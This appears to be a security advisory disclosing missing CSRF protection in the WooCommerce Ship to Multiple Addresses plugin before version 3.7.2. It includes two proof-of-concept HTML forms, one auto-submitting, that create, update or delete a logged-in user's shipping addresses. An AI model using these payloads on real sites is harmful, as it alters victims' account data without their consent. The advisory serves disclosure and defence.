WooCommerce Ship to Multiple Addresses < 3.7.2 – Address Creation/Update/Deletion via CSRF

Description

The plugin does not have CSRF checks when creating, updating and deleting addresses, which could allow attackers to make logged in users perform such action via CSRF attacks

Proof of Concept

Creation/Update (set the id to the one to edit, 0 for the default address)
<html>
  <body>
    <form action="https://example.com/checkout/shipping-addresses-2/?address-form=1" method="POST">
      <input type="hidden" name="address[shipping_first_name]" value="John" />
      <input type="hidden" name="address[shipping_last_name]" value="Smith" />
      <input type="hidden" name="address[shipping_company]" value="SmithInc" />
      <input type="hidden" name="address[shipping_country]" value="EH" />
      <input type="hidden" name="address[shipping_address_1]" value="test" />
      <input type="hidden" name="address[shipping_address_2]" value="test" />
      <input type="hidden" name="address[shipping_city]" value="test" />
      <input type="hidden" name="address[shipping_state]" value="test" />
      <input type="hidden" name="address[shipping_postcode]" value="10001" />
      <input type="hidden" name="action" value="save_to_address_book" />
      <input type="hidden" name="id" value="-1" />
      <input type="hidden" name="return" value="list" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Deletion:

<html>
  <body>
    <form action="http://192.168.0.105/wordpress/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wc_ms_delete_address" />
      <input type="hidden" name="idx" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>